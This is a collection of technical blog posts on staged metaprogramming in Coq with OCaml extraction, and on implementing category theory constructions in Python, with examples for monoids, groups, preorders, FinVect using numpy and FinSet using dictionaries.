Extraction compilepow'.

(* Same as before basically.
(** val compilepow' : (int -> int) code **)

let compilepow' =
(fun x -> (*) x ((*) x ((*) x x)))
*)

Coolio.

### Increasingly Scattered Thoughts

With more elbow grease is this actually workable? Do we actually save anything over explicit language modelling with data types? Are things actually hygienic and playing nice? Not sure.

We could also give notations to lam and the other combinators. Idiom brackets https://wiki.haskell.org/Idiom_brackets might be nice for app. I am a little queasy going overboard on notation. I generally speaking hate it when people do stuff like this.

Monad have something to do with partial evaluation. Moggi’s original paper on monads seems to have partial evaluation in mind.

(* This is moggi's let. *)
Axiom ocaml_bind : forall {a b}, PCode a -> (a -> PCode b) -> PCode b.
Extract Inlined Constant ocaml_bind => "(fun x f -> f x)".

Doing fix: playing nice with Coq’s fix restrictions is going to be a pain. Maybe just gas it up?

match statements might also suck to do in a dsl of the shown style. I supposed you’ll have to deal with everything via typeclass dispatched recursors / pattern matchers. Maybe one notation per data type? Or mostly stick to if then else and booleans. 🙁

Quote and splice can also be overloaded with another typeclass such that they just interpret completely into R or the appropriate purely functionally defined Gallina monad to emulate the appropriate effects of interest. This would be helpful for verification and development purposes as then the entire code can be proved with and evaluated in Coq.

Extracting arrays, mutable refs, for loops. All seems possible with some small inlined indirections that hopefully compile away. I’ve been finding godbolt.org interesting to look at to see what flambda can and can’t do.

Do I need to explcitly model a World token or an IO monad or is the Code paradigm already sufficiently careful about order of operations and such?

Some snippets


Extract Constant ref "'a" => "'a ref".
(* make_ref     =>     "ref*)
Axiom get_ref : forall a, ref a -> World -> a * World.
Extract Constant get_ref => "fun r _ -> (!r  ,())".
Axiom set_ref : forall a, ref a -> a -> World -> unit * World.
Extract Constant set_ref => "fun r x _ -> let () = r := x in (() , ())".

Axiom Array : Type -> Type.
Extract Constant Array "'a" => "'a array".

Axiom make : forall {a : Type}, Code nat -> Code a -> Code World -> Code (Array a  *  World).

Extract Constant make => "fun i def _ -> ( make i def , ())".
Axiom get : forall a, Array a -> nat -> World -> a * World.
Extract Constant get => "fun r i _ -> (r.(i)  ,())".
Axiom set : forall a, Array a -> nat -> a -> World -> unit * World.
Extract Constant set => "fun r i x _ -> let () = r.(i) <- x in (() , ())".

MetaOCaml is super cool. The quote splice way of building of the exact expressions you want feels nice and having the type system differentiate between Code and static values is very useful conceptually. It’s another instance where I feel like the types really aid the design process and clarify thinking. The types give you a compile time guarantee of what will and won’t happen.

There are other systems that do compile time stuff. Types themselves are compile time. Some languages have const types, which is pretty similar. Templates are also code generators. Macros.

Why Coq vs metaocaml?

• MetaOcaml doesn’t have critical mass. Its ocaml switch lags behind the mainline. Coq seems more actively developed.
• Possible verification and more powerful types (at your peril. Some may not extract nice)
• One can go beyond purely generative metaprogamming since Ltac (and other techniques) can inspect terms.
• Typeclasses
• Can target more platforms. Haskell, Scheme, possibly C, fpgas?

However, Metaocaml does present a much more ergonomic, consistent, well founded interface for what it does.

One needs to have some protected structure in coq that represents a syntax tree of your intended ocaml expression. One natural choice would be a data type to represent this AST.

You also want access to possibly impure abilities of ocaml like mutation, errors, loops, arrays, and unbounded recursion that don’t have direct equivalents in base Gallina. You can model the purely functional versions of these things, but you don’t persay want to extract the purely functional versions if you’re seeking the ultimate speed.

Why Finally Tagless Style. Anything you can do finally taglessly you can do in initial style.

• Positivity restrictions make some things difficult to express in Coq data types. You can turn these restrictions off, at your peril. Raw axiomatic fixpoints and HOAS without PHOAS become easier
• Ultimately we need to build both a data type and an interpreter. A little bit using finally tagless cuts out the middle man. Why have a whole extra set of things to write?
• Finally tagless style is open. You can add new capabilities without having to rewrite everything everywhere

Downsides

• More confusing
• Optimizations are harder
• Is the verification story shot?

I guess ultimately there might not be a great reason. I just wandered into it. I was doing Kiselyov stuff, so other Kiselyov stuff was on the brain. I could make a DSL with Quote and Splice constructors.

The MetaOcaml book – Kiselyov http://okmij.org/ftp/meta-programming/tutorial/index.html

http://okmij.org/ftp/tagless-final/JFP.pdf Finally Tagless, Partially Evaluated is a paper I come back to. This is both because the subject matter is interesting, it seems to hold insights, and that it is quite confusing and long. I think there are entangled objectives occurring, chronologically this may be an early exposition of finally tagless style, for which it is not the most pedagogical reference.

Jason Gross, Chlipala, others? . Coq partial evaluation. Once you go into plugin territory it’s a different game though. https://people.csail.mit.edu/jgross/personal-website/papers/2020-rewriting-popl-draft.pdf

Partial Evaluation book – Jones Sestoft Gomard https://www.itu.dk/people/sestoft/pebook/jonesgomardsestoft-a4.pdf

Nada Amin, Tiark Rompf. Two names to know https://scala-lms.github.io/ scala partial evaluation system https://www.youtube.com/watch?v=QuJ-cEvH_oI

Strymonas – a staged streaming library https://strymonas.github.io/

Algebraic staged parsing – https://www.cl.cam.ac.uk/~nk480/parsing.pdf

Nielson and Nielson – Two level functional languages book

https://dl.acm.org/doi/10.1145/141478.141483 – Improving binding times without explicit CPS-conversion. This bondorf paper is often cited as the why CPS helps partial evaluation paper

Modal logic. Davies and Pfenning. Was a hip topic. Their modal logic is something a bit like metaocaml. “Next” stage has some relationship to Next modal operator. Metaocaml as a proof language for intuitinisitc modal logic.

Partial evaluation vs optimizing compilers. It is known that CPS tends to allow the internals of compilers to make more optimizations. The obvious optimizations performed by a compiler often correspond to simple partial evaluations. Perhaps to get a feeling for where GHC gets blocked, playing around with an explicit partial evaluation system is useful.

An unrolled power in julia. It is unlikely I suspect that you want to use this technique to achieve performance goals. The Julia compiler itself is probably smarter than you unless you’ve got some real secret sauce.

## Rando (or ARE THEY!?!) continuation links

continuations and partial evaluation are like jam and peanut butter.

I’ve been digging into the continuation literature a bit

Kenichi Asai – Delimitted continuations for everyone https://www.youtube.com/watch?v=QNM-njddhIw

Which of the many Danvy papers is most relevant

• Defunctionalization and refunctionalization – Defunctionalize the continuation, see Jimmy’s talk https://dl.acm.org/doi/abs/10.1145/773184.773202 and
• https://dl.acm.org/doi/pdf/10.1145/91556.91622 1990 abstracting control
• Abstract machines = Evaluators https://dl.acm.org/doi/pdf/10.1145/888251.888254 Functional correspondence 2003
• https://www.researchgate.net/profile/Olivier_Danvy/publication/226671340_The_essence_of_eta-expansion_in_partial_evaluation/links/00b7d5399ecf37a658000000/The-essence-of-eta-expansion-in-partial-evaluation.pdf Essence of Eta expansion (1995) Reference of “the trick”
• Representing control (1992) https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.46.84&rep=rep1&type=pdf Explains plotkin translation of CPS carefully. How to get other operators

Names to look out for: Dybvig, Felleison, Oleg, Filinksi, Asai, Danvy, Sabry

What are the most interesting Oleg sections.

CPS. Really this is converting a syntax tree of lambda calculus to one of another type. This other type can be lowered back down to lambda calculus.

Control constructs can fill in holes in the CPS translation.

Evaluation context. Contexts are terms with a single hole. Variables can also be used to show holes so therein lies some ocnfusion.

Abstract Machines

Ben pointed out that Node is in continuation passing style

To what degree are monads and continuations related? http://hjemmesider.diku.dk/~andrzej/papers/RM-abstract.html Mother of all monads.

Certainly error handling and escape are possible with continuation

Call-cc is as if the compiler converts to cps, and then call-cc grabs the continuation for you

call-cc allows you to kind of pull a program inside out. It’s weird.

Compiling to continuations book

Lisp in Small Pieces

CPSing a value x ~ \f -> f x.

https://homepages.inf.ed.ac.uk/wadler/papers/papers-we-love/reynolds-discoveries.pdf – The discoveries of continuations – Reynolds. Interesting bit of history about the discovery in the 60s/70s

## Computational Category Theory in Python III: Monoids, Groups, and Preorders

Parts 1 and 2 are found here and here

From one perspective, categories are just another algebraic structure, like groups, monoids and rings. They are these abstract things that have some abstract equational axioms and operations. They are the next stop on our magnificent category journey.

A monoid is a thing that has an associative operation with a unit. Addition and 0 make numbers a monoid. Multiplication and 1 are a separate monoid for numbers. Concatenation and empty lists make lists a monoid. Union and empty set make sets a monoid. We can encode this in python like so:

 class PlusIntMonoid(int): def mplus(self,b): return self + b def mzero(): return 0 class TimesIntMonoid(int): def mplus(self,b): return self * b def mzero(): return 1 class ListMonoid(list): def mplus(self,b): return self + b def mzero(): return [] class UnionMonoid(set): def mplus(self,b): return self.union(b) def mzero(): return set() ListMonoid([1,2]).mplus(ListMonoid([1,2])) # [1,2,1,2] UnionMonoid({1,2}).mplus(UnionMonoid({1,4})) # {1,2,4} TimesIntMonoid(3).mplus(TimesIntMonoid.mzero()) # 3
view raw monoid.py hosted with ❤ by GitHub

What does this have to do with categories? Well, if some thing is a category, it obeys the axioms that define what it means to be a category. It has morphisms and objects. The morphisms compose if head meets tail on an object. There are always identity morphism.

The morphisms in a category with 1 object automatically obey the monoid axioms. In this case, the category axioms imply the monoid axioms. Everything composes because there is only one object. It’s a kind of degenerate case where we are not using the partiality of the composition operator. There is automatically a unit for composition because the identity morphism is a unit. Composition is already required to be associative. Boom. The thing is a monoid.

Continuing with our representation from previous posts, we make a python class for each category. An instance of this class is a morphism in this category. If you ask for the domain or codomain of any morphism, you always get back () because it is a single object category. Compare these classes with the above classes.

 class PlusIntCat(int): def compose(self,b): return self + b def idd(): return 0 def dom(self): return () # always return (), the only object def cod(self): return () class TimesIntCat(int): def compose(self,b): return self * b def idd(): return 1 def dom(self): return () def cod(self): return () class ListCat(int): def compose(self,b): return self + b def idd(): return [] def dom(self): return () def cod(self): return () class UnionSetCat(set): def compose(self,b): return self.union(b) def idd(self,b): return set() def dom(self): return () def cod(self): return () PlusIntCat(3).compose(PlusIntCat.idd()) # 3
view raw monoidcat.py hosted with ❤ by GitHub

Some monoids are also groups if there is a natural inverse operation. The integers are a group under addition where the negative gives you the inverse. Some aren’t though. The natural numbers (0,1,2…) aren’t a group under addition though.

Similarly groups can be thought of as a category with one object, with the additional requirement that every morphism is invertible, that there is always a $f^{-1}$ such that $f \circ f^{-1} = id$.

Sympy has groups in it. We can make a wrapper of that functionality that looks like a categorical interface. To match our pattern of using python classes to represent categories, it is convenient to do the slightly uncommon thing of making a class definition generator function fp_group_cat. Every time you call this function, it makes a different class and a different category. I have only here wrapped the finitely presented group functionality, but there are also free groups, permutation groups, and named groups available in sympy.

 from sympy.combinatorics.free_groups import free_group, vfree_group, xfree_group from sympy.combinatorics.fp_groups import FpGroup, CosetTable, coset_enumeration_r def fp_group_cat(G, catname): # A Category generator that turns a finitely presented group into categorical python class Cat = type(catname, (), vars(G)) def cat_init(self,a): self.f = a Cat.__init__ = cat_init Cat.compose = lambda self,b : G.reduce(self.f * b.f) Cat.dom = lambda : () Cat.cod = lambda : () Cat.idd = lambda : Cat(G.identity) return Cat F, a, b = free_group("a, b") G = FpGroup(F, [a**2, b**3, (a*b)**4]) MyCat = fp_group_cat(G, "MyCat") MyCat(a*a).compose(MyCat.idd()) MyCat.dom()
view raw sympygroup.py hosted with ❤ by GitHub

#### Many objects, at most one arrow per pair: Preorders

We can simplify the power of a category in a different direction. Instead of having only 1 object, we’ll have few arrows.

A category with many objects but at most a single morphism between a pair of them obeys the axioms of a preorder. In categorical terminology this is sometimes called a thin category Any actual order like like $\le$ on numbers is also a preorder, but preorders have slightly weaker requirements. Here is a categorical representation of the ordering on integers (although really the same implementation will work for any python type that implements <= and == )

 class IntOrderCat(): def __init__(self, dom, cod): assert(dom <= cod) self.cod = cod self.dom = dom self.f = () def idd(n): return IntOrderCat(n,n) def compose(f,g): assert( f.dom == g.cod ) return IntOrderCat( g.dom, f.cod ) def __repr__(self): return f"[{self.dom} <= {self.cod}]" # our convention for the order of composition feels counterintuitive here. IntOrderCat(3,5).compose(IntOrderCat(2,3)) # [2 <= 5] IntOrderCat.idd(3) # [3 <= 3]
view raw intorder.py hosted with ❤ by GitHub

An example of a partial order is the subset relationship, which we can represent using python sets. This is an important but perhaps confusing example. Haven’t we already defined FinSet? Yes, but these are different categories. In FinSet, morphisms are functions. In SubSetCat a morphisms is the subset relationship (of which there can either be one or not one). They just plain are not the same thing even though there are sets in the mix for both. The situation is made even more confusing by the fact that the subset relationship can be talked about indirectly inside FinSet using monic morphisms, which have as their image the subset of interest.

 class SubSetCat(): def __init__(self,dom,cod): assert( dom.issubset(cod)) self.cod = cod self.dom = dom def compose(f,g): assert(f.dom == g.cod) return SubSetCat(g.dom, f.cod) def idd(s): return SubSetCat(s,s) def __repr__(self): return f"[{self.dom} <= {self.cod}]" SubSetCat( {1,2,3} , {1,2,3,7} ).compose(SubSetCat( {1,2} , {1,2,3} )) # [{1, 2} <= {1, 2, 3, 7}]
view raw subset.py hosted with ❤ by GitHub

Preorders are related to directed acyclic graphs (DAG), the directed graphs that have no loops. If you give me a DAG, there is a preorder that is generated by that DAG. Exercise for the reader (AKA I’m lazy): Can you turn a Networkx DAG into a category?

### Thoughts

This is nice and all just to explain categories in terms of some perhaps more familiar concepts. It feels a little ho-hum to me. We are not getting really any benefit from the concept of a category from this post. However, the examples of monoids, groups and preorders are always something you should think about when presented when a new categorical concept, because it probably reduces to something more familiar in this case. In addition, mappings to/from these simple objects to more complicated categories can be very interesting.

The methods of computational group theory are intriguing. It seems like some of them should extend to category theory. See this book by RFC Walters for example https://www.cambridge.org/core/books/categories-and-computer-science/203EBBEE29BEADB035C9DD80191E67B1 A very interesting book in other ways too. (Thanks to Evan Patterson for the tip)

Next time I think we’ll talk about finite categories and the finite Yoneda lemma.

Artwork courtesy of David

Edit: Hacker News discussion: https://news.ycombinator.com/item?id=23058551

## Computational Category Theory in Python II: Numpy for FinVect

Linear algebra seems to be the place where any energy you put in to learning it seems to pay off massively in understanding other subjects and applications. It is the beating heart of numerical computing. I can’t find the words to overstate the importance of linear algebra.

Here’s some examples:

• Least Squares Fitting – Goddamn is this one useful.
• Partial Differential Equations – Heat equations, electricity and magnetism, elasticity, fluid flow. Differential equations can be approximated as finite difference matrices acting on vectors representing the functions you’re solving for.
• Linear Dynamical systems – Solving, frequency analysis, control, estimation, stability
• Signals – Filtering, Fourier transforms
• Quantum mechanics – Eigenvalues for energy, evolving in time, perturbation theory
• Probability – Transition matrices, eigenvectors for steady state distributions.
• Multidimensional Gaussian integrals – A canonical model in quantum mechanics and probability because they are solvable in closed form. Gaussian integrals are linear algebra in disguise. Their solution is describable in terms of the matrices and vectors in the exponent. More on this another day.

Where does category theory come in to this?

On one side, exploring what categorical constructions mean concretely and computationally in linear algebra land helps explain the category theory. I personally feel very comfortable with linear algebra. Matrices make me feel good and safe and warm and fuzzy. You may or may not feel the same way depending on your background.

In particular, understanding what the categorical notion of a pullback means in the context of matrices is the first time the concept clicked for me thanks to discussions with James Fairbanks and Evan Patterson.

But the other direction is important too. A categorical interface to numpy has the promise of making certain problems easier to express and solve. It gives new tools for thought and programming. The thing that seems the most enticing to me about the categorical approach to linear algebra is that it gives you a flexible language to discuss gluing together rectangular subpieces of a numerical linear algebra problem and it gives a high level algebra for manipulating this gluing. Down this road seems to be an actionable, applicable, computational, constructible example of open systems.

Given how important linear algebra is, given that I’ve been tinkering and solving problems (PDEs, fitting problems, control problems, boundary value problems, probabilistic dynamics, yada yada ) using numpy/scipy for 10 years now and given that I actually have a natural reluctance towards inscrutable mathematics for its own sake, I hope that lends some credence to when I say that there really is something here with this category theory business.

It frankly boggles my mind that these implementations aren’t available somewhere already! GAH!

Uh oh. I’m foaming. I need to take my pills now.

### FinVect

The objects in the category FinVect are the vector spaces. We can represent a vector space by its dimensionality n (an integer). The morphisms are linear maps which are represented by numpy matrices. ndarray.shape basically tells you what are the domain and codomain of the morphism. We can get a lot of mileage by subclassing ndarray to make our FinVect morphisms. Composition is matrix multiplication (which is associative) and identity morphisms are identity matrices. We’ve checked our category theory boxes.

 import numpy as np import scipy import scipy.linalg # https://docs.scipy.org/doc/numpy/user/basics.subclassing.html class FinVect(np.ndarray): def __new__(cls, input_array, info=None): # Input array is an already formed ndarray instance # We first cast to be our class type obj = np.asarray(input_array).view(cls) assert(len(obj.shape) == 2) # should be matrix # add the new attribute to the created instance # Finally, we must return the newly created object: return obj @property def dom(self): ''' returns the domain of the morphism. This is the number of columns of the matrix''' return self.shape[1] @property def cod(self): ''' returns the codomain of the morphism. This is the numer of rows of the matrix''' return self.shape[0] def idd(n): ''' The identity morphism is the identity matrix. Isn't that nice? ''' return FinVect(np.eye(n)) def compose(f,g): ''' Morphism composition is matrix multiplication. Isn't that nice?''' return f @ g
view raw class.py hosted with ❤ by GitHub

A part of the flavor of category theory comes from taking the focus away from the objects and putting focus on the morphisms.

One does not typically speak of the elements of a set, or subsets of a set in category theory. One takes the slight indirection of using the map whose image is that subset or the element in question when/if you need to talk about such things.

This actually makes a lot of sense from the perspective of numerical linear algebra. Matrices are concrete representations of linear maps. But also sometimes we use them as data structures for collections of vectors. When one wants to describe a vector subspace concretely, you can describe it either as the range of a matrix or the nullspace of a matrix. This is indeed describing a subset in terms of a mapping. In the case of the range, we are describing the subspace as all possible linear combinations of the columns $\lambda_1 c_1 + \lambda_2 c_2 + ...$ . It is a matrix mapping from the space of parameters $\lambda$ to the subspace (1 dimension for each generator vector / column). In the case of the nullspace it is a matrix mapping from the subspace to the space of constraints (1 dimension for each equation / row).

The injectivity or surjectivity of a matrix is easily detectable as a question about its rank. These kinds of morphisms are called monomorphisms and epimorphisms respectively. They are characterized by whether you can “divide” out by the morphism on the left or on the right. In linear algebra terms, whether there is a left or right inverse to these possibly rectangular, possibly ill-posed matrices. I personally can never remember which is which (surf/ing, left/right, mono/epi) without careful thought, but then again I’m an ape.

 def monic(self): ''' Is mapping injective. In other words, maps every incoming vector to distinct outgoing vector. In other words, are the columns independent. In other words, does self @ g == self @ f imply g == f forall g,f https://en.wikipedia.org/wiki/Monomorphism ''' return np.linalg.matrix_rank(self) == self.dom def epic(self): ''' is mapping surjective? ''' return np.linalg.matrix_rank(self) == self.cod
view raw monic.py hosted with ❤ by GitHub

Some categorical constructions are very simple structural transformation that correspond to merely stacking matrices, shuffling elements, or taking transposes. The product and coproduct are examples of this. The product is an operation that takes in 2 objects and returns a new object, two projections $\pi_1$ $\pi_2$ and a function implementing the universal property that constructs $f$ from $f_1 f_2$.

Here is the corresponding python program. The matrix e (called f in the diagram. Sorry about mixed conventions. ) is the unique morphism that makes those triangles commute, which is checked numerically in the assert statements.

 def product(a,b): ''' The product takes in two object (dimensions) a,b and outputs a new dimension d , two projection morphsisms and a universal morphism. The "product" dimension is the sum of the individual dimensions (funky, huh?) ''' d = a + b # new object p1 = FinVect(np.hstack( [np.eye(a) , np.zeros((a,b))] )) p2 = FinVect(np.hstack( [np.zeros((b,a)), np.eye(b) ] )) def univ(f,g): assert(f.dom == g.dom) # look at diagram. The domains of f and g must match e = np.vstack(f,g) # postconditions. True by construction. assert( np.allclose(p1 @ e , f )) # triangle condition 1 assert( np.allclose(p2 @ e , g ) ) # triangle condition 2 return e return d, p1, p2, univ
view raw product.py hosted with ❤ by GitHub

The coproduct proceeds very similarly. Give it a shot. The coproduct is more similar to the product in FinVect than it is in FinSet.

The initial and terminal objects are 0 dimensional vector spaces. Again, these are more similar to each other in FinVect than they are in FinSet. A matrix with one dimension as 0 really is unique. You have no choice for entries.

 def terminal(): ''' terminal object has unique morphism to it ''' return 0, lambda x : FinVect(np.ones((0, x))) def initial(): ''' the initial object has a unique morphism from it The initial and final object are the same in FinVect''' return 0, lambda x : FinVect(np.ones((x, 0)))
view raw terminal.py hosted with ❤ by GitHub

Where the real meat and potatoes lives is in the pullback, pushout, equalizer, and co-equalizer. These are the categorical constructions that hold equation solving capabilities. There is a really nice explanation of the concept of a pullback and the other above constructions here .

Vector subspaces can be described as the range of the matrix or the nullspace of a matrix. These representations are dual to each other in some sense. $RN=0$. Converting from one representation to the other is a nontrivial operation.

In addition to thinking of these constructions as solving equations, you can also think of a pullback/equalizer as converting a nullspace representation of a subspace into a range representation of a subspace and the coequalizer/pushout as converting the range representation into a nullspace representation.

The actual heart of the computation lies in the scipy routine null_space and orth. Under the hood these use an SVD decomposition, which seems like the most reasonable numerical approach to questions about nullspaces. (An aside: nullspaces are not a very numerical question. The dimensionality of a nullspace of a collection of vectors is pretty sensitive to perturbations. This may or may not be an issue. Not sure. )

Let’s talk about how to implement the pullback. The input is the two morphisms f and g. The output is an object P, two projections p1 p2, and a universal property function that given q1 q2 constructs u. This all seems very similar to the product. The extra feature is that the squares are required to commute, which corresponds to the equation $f p_1 = g p_2$ and is checked in assert statements in the code. This is the equation that is being solved. Computationally this is done by embedding this equation into a nullspace calculation $\begin{bmatrix} F & -G \end{bmatrix} \begin{bmatrix} x \\ y \end{bmatrix} = 0$. The universal morphism is calculated by projecting q1 and q2 onto the calculated orthogonal basis for the nullspace. Because q1 and q2 are required to be in a commuting square with f and g by hypothesis, their columns live in the nullspace of the FG stacked matrix. There is extra discussion with James and Evan and some nice derivations as mentioned before here

 def pullback(f,g): assert( f.cod == g.cod ) # Most have common codomain # horizontally stack the two operations. null = scipy.linalg.null_space( np.hstack([f,-g]) ) d = null.shape[1] # dimension object of corner of pullback p1 = FinVect(null[:f.dom, :]) p2 = FinVect(null[f.dom:, :]) def univ(q1,q2): # preconditions assert(q1.dom == q2.dom ) assert( np.allclose(f @ q1 , g @ q2 ) ) # given a new square. This means u,v have to inject into the nullspace u = null.T @ np.vstack([q1,q2]) # calculate universal morphism == p1 @ u + p2 @ v # postcondition assert( np.allclose(p1 @ u, q1 )) # verify triangle 1 assert( np.allclose(p2 @ u, q2 ) ) # verify triangle 2 return u # postcondition assert( np.allclose( f @ p1, g @ p2 ) ) # These projections form a commutative square. return d, p1, p2, univ
view raw pullback.py hosted with ❤ by GitHub

The equalizer, coequalizer, and pushout can all be calculated similarly. A nice exercise for the reader (AKA I’m lazy)!

## Thoughts

I think there are already some things here for you to chew on. Certainly a lot of polish and filling out of the combinators is required.

I am acutely aware that I haven’t shown any of this being used. So I’ve only shown the side where the construction helps teach us category theory and not entirely fulfilled the lofty promises I set in the intro. I only have finite endurance. I’m sure the other direction, where this helps us formulate problems, will show up on this blog at some point. For what I’m thinking, it will be something like this post http://www.philipzucker.com/linear-relation-algebra-of-circuits-with-hmatrix/ but in a different pullback-y style. Mix together FinSet and FinVect. Something something decorated cospans? https://arxiv.org/abs/1609.05382

One important thing is we really need to extend this to affine maps rather than linear maps (affine maps allow an offset $y = Ax + b$. This is important for applications. The canonical linear algebra problem is $Ax=b$ which we haven’t yet shown how to represent.

One common approach to embed the affine case in the linear case is to use homogenous coordinates. https://en.wikipedia.org/wiki/Homogeneous_coordinates.

Alternatively, we could make a new python class FinAff that just holds the b vector as a separate field. Which approach will be more elegant is not clear to me at the moment.

Another very enticing implementation on the horizon is a nice wrapper for compositionally calculating gaussian integrals + linear delta functions. Gaussian integrals + delta functions are solved by basically a minimization problem over the exponent. I believe this can be formulated by describing the linear subspace we are in as a span over the input and output variables, associating a quadratic form with the vertex of the span. You’ll see.

### Blah Blah Blah

Whenever I write a post, I just let it flow, because I am entranced by the sound of my own keyboard clackin’. But it would deeply surprise me if you are as equally entranced, so I take sections out that are just musings and not really on the main point. So let’s toss em down here if you’re interested.

I like to draw little schematic matrices sometimes so I can visually see with dimensions match with which dimensions.

Making the objects just the dimension is a structural approach and you could make other choices. It may also make sense to not necessarily identify two vector spaces of the same dimensionality. It is nonsensical to consider a vector of dog’s nose qualities to be interchangeable with a vector of rocket ship just because they both have dimensionality 7.

#### High Level Linear Algebra

Linear algebra already has some powerful high level abstractions in common use.

Numpy indexing and broadcasting can sometimes be a little cryptic, but it is also very, very powerful. You gain both concision and speed.

Matrix notation is the most commonly used “pointfree” notation in the world. Indexful expressions can be very useful, but the calculus of matrices lets us use intuition built about algebraic manipulation of ordinary numbers to manipulate large systems of equations in a high level way. There are simple rules governing matrix inverse, transpose, addition, multiplication, identity.

Another powerful notion in linear algebra is that of block matrices. Block matrices are the standard high level notation to talk about subpieces of a numerical linear algebra problem. For example, you might be solving the heat equation on two hunks of metal attached at a joint. It is natural to consider this system in block form with the off diagonal blocks corresponding to the coupling of the two hunks. https://en.wikipedia.org/wiki/Domain_decomposition_methods

One does not typically speak of the elements of a set, or subsets of a set in category theory. One takes the slight indirection of using the map whose image is that subset or the element in question when/if you need to talk about such things. This pays off in a couple ways. There is a nice minimalism in that you don’t need a whole new entity (python class, data structure, what have you) when you already have morphisms lying around. More importantly though the algebraic properties of what it means to be an element or subset are more clearly stated and manipulated in this form. On the flipside, given that we often return to subset or element based thinking when we’re confused or explaining something to a beginner shows that I think it is a somewhat difficult game to play.

The analogy is that a beginner will often write for loops for a numpy calculation that an expert knows how to write more concisely and efficiently using broadcasting and vectorization. And sometimes the expert just can’t figure out how to vectorize some complicated construction and defeatedly writes the dirty feeling for loop.

What about in a language where the for loops are fast, like Julia? Then isn’t the for loop version just plain better, since any beginner can read and write it and it runs fast too? Yes, I think learning some high level notation or interface is a harder sell here. Nevertheless, there is utility. High level formulations enable optimizing compilers to do fancier things. They open up opportunities for parallelism. They aid reasoning about code. See query optimization for databases. Succinctness is surprising virtue in and of itself.

Aaron Hsu (who is an APL beast) said something that has stuck with me. APL has a reputation for being incredibly unscrutable. It uses characters you can’t type, each of which is a complex operation on arrays. It is the epitome of concision. A single word in APL is an entire subroutine. A single sentence is a program. He says that being able to fit your entire huge program on a single screen puts you in a different domain of memory and mindspace. That it is worth the inscrutability because once trained, you can hold everything in your extended mind at once. Sometimes I feel when I’m writing stuff down on paper that it is an extension of my mind, that it is part of my short term memory. So too the computer screen. I’m not on board for APL yet, but food for thought ya know?

#### Differences between the pure mathematical perspective of Linear Algebra, and the Applied/Numerical Linear Alegbra

I think there a couple conceptual points of disconnect between the purely mathematical conception of vector spaces and the applied numerical perspective.

First off, the numerical world is by and large focused on full rank square matrices. The canonical problem is solving the matrix equation $Ax=b$ for the unknown vector x. If the matrix isn’t full rank or square, we find some way to make it square and full rank.

The mathematical world is more fixated on the concept of a vector subspace, which is a set of vectors.

It is actually extremely remarkable and I invite you for a moment to contemplate that a vector subspace over the real numbers is a very very big set. Completely infinite. And yet it is tractable because it is generated by only a finite number of vectors, which we can concretely manipulate.

Ok. Here’s another thing. I am perfectly willing to pretend unless I’m being extra careful that machine floats are real numbers. This makes some mathematicians vomit blood. I’ve seen it. Cody gave me quite a look. Floats upon closer inspection are not at all the mathematical real numbers though. They’re countable first off.

From a mathematical perspective, many people are interested in precise vector arithmetic, which requires going to somewhat unusual fields. Finite fields are discrete mathematical objects that just so happen to actually have a division operation like the rationals or reals. Quite the miracle. In pure mathematics they more often do linear algebra over these things rather than the rationals or reals.

The finite basis theorem. This was brought up in conversation as a basic result in linear algebra. I’m not sure I’d ever even heard of it. It is so far from my conceptualization of these things.

### Monoidal Products

The direct sum of matrices is represented by taking the block diagonal. It is a monoidal product on FinVect. Monoidal products are binary operations on morphisms in a category that play nice with it in certain ways. For example, the direct sum of two identity matrices is also an identity matrix.

The kronecker product is another useful piece of FinVect. It is a second monoidal product on the catgeory FinVect It is useful for probability and quantum mechanics. When you take the pair of the pieces of state to make a combined state, you

    def par(f,g):
''' One choice of monoidal product is the direct sum '''
r, c = f.shape
rg, cg = g.shape
return Vect(np.block( [ [f       ,           np.zeros((r,cg))]  ,
[np.zeros((rg,c))  , g              ]]  ))
def par2(f,g):
'''  another choice is the kroncker product'''
return np.kron(f,g)

We think about row vectors as being matrices where the number of columns is 1 or column vectors as being matrices where the number of rows is 1. This can be considered as a mapping from/to the 1 dimensional vector. These morphisms are points.

The traditional focus of category theory in linear algebra has been on the kronecker product, string diagrams as quantum circuits/ penrose notation, and applications to quantum mechanics.

However, the direct sum structure and the limit/co-limit structures of FinVect are very interesting and more applicable to everyday engineering. I associate bringing more focus to this angle with John Baez’s group and his collaborators.

Anyway, that is enough blithering.

## Computational Category Theory in Python I: Dictionaries for FinSet

Category theory is a mathematical theory with reputation for being very abstract.

Category theory is an algebraic theory of functions. It has the flavor of connecting up little pipes and ports that is reminiscent of dataflow languages or circuits, but with some hearty mathematical underpinnings.

So is this really applicable to programming at all? Yes, I think so.

Here’s one argument. Libraries present an interface to their users. One of the measures of the goodness or badness of an interface is how often you are inclined to peek under the hood to get it to do the thing that you need. Designing these interfaces is hard. Category theory has taken off as a field because it has been found to be a useful and uniform interface to a surprising variety of very different mathematics. I submit that it is at least plausible that software interfaces designed with tasteful mimicry of category theory may achieve similar uniformity across disparate software domains. This is epitomized for me in Conal Elliott’s Compiling to Categories. http://conal.net/papers/compiling-to-categories/

I think it is easy to have the miscomprehension that a fancy language like Haskell or Agda is necessary to even begin writing software that encapsulates category theory based ideas, but this is simply not the case. I’ve been under this misapprehension before.

It just so happens that category theory is especially useful in those languages for explaining some programming patterns especially those concerning polymorphism. See Bartosz Milewski’s Category theory for Programmers.

But this is not the only way to use category theory.

There’s a really delightful book by Rydeheard and Burstall called Computational Category Theory. The first time I looked at it, I couldn’t make heads or tails of it, going on the double uphill battle of category theory and Standard ML. But looking at it now, it seems extremely straightforward and well presented. It’s a cookbook of how to build category theoretic interfaces for software.

So I think it is interesting to perform some translation of its concepts and style into python, the lingua franca of computing today.

In particular, there is a dual opportunity to both build a unified interface between some of the most commonly used powerful libraries in the python ecosystem and also use these implementations to help explain categorical concepts in concrete detail. I hope to have the attention span to do this following:

A very simple category is that of finite sets. The objects in the category can be represented by python sets. The morphisms can be represented by python dictionaries. Nothing abstract here. We can rip and tear these things apart any which way we please.

The manipulations are made even more pleasant by the python features of set and dictionary comprehension which will mimic the definitions you’ll find on the wikipedia page for these constructions quite nicely.

Composition is defined as making a new dictionary by feeding the output of the first dictionary into the second. The identity dictionary over a set is one that has the same values as keys. The definition of products and coproducts (disjoint union) are probably not too surprising.

One really interesting thing about the Rydeheard and Burstall presentation is noticing what are the inputs to these constructions and what are the outputs. Do you need to hand it objects? morphisms? How many? How can we represent the universal property? We do so by outputting functions that construct the required universal morphisms. They describe this is a kind of skolemization . The constructive programmatic presentation of the things is incredibly helpful to my understanding, and I hope it is to yours as well.

Here is a python class for FinSet. I’ve implemented a couple of interesting constructions, such as pullbacks and detecting monomorphisms and epimorphisms.

